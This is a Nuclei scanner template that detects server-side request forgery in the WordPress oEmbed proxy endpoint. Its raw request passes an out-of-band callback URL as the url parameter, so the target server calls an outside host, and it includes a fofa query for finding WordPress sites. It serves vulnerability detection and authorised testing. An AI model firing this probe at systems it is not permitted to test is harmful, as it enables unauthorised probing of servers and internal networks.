wordpress-ssrf-oembed: Wordpress Oembed Proxy - Server-side request forgery

id: wordpress-ssrf-oembed

info:
  name: Wordpress Oembed Proxy - Server-side request forgery
  author: dhiyaneshDk
  severity: medium
  description: The oEmbed feature in WordPress allows embedding content from external sources, and if it's not properly secured, it could be exploited for SSRF.
  reference:
    - https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html
    - https://github.com/incogbyte/quickpress/blob/master/core/req.go
  classification:
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
    cwe-id: CWE-918
  metadata:
    max-request: 2
    vendor: wordpress
    product: wordpress
    fofa-query: body="oembed" && body="wp-"
  tags: wordpress,ssrf,oast,oembed,vuln

http:
  - raw:
      - |
        GET /wp-json/oembed/1.0/proxy HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'rest_missing_callback_param'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a00463044022066a9b4228b9c6b6338b043ad0f3d4f7f9f1c89a943e821ba2c721f01de03f6bd02202526c2f646821e6d7b989cfdbbb89308ed92f8bae20008a2a792347145227474:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.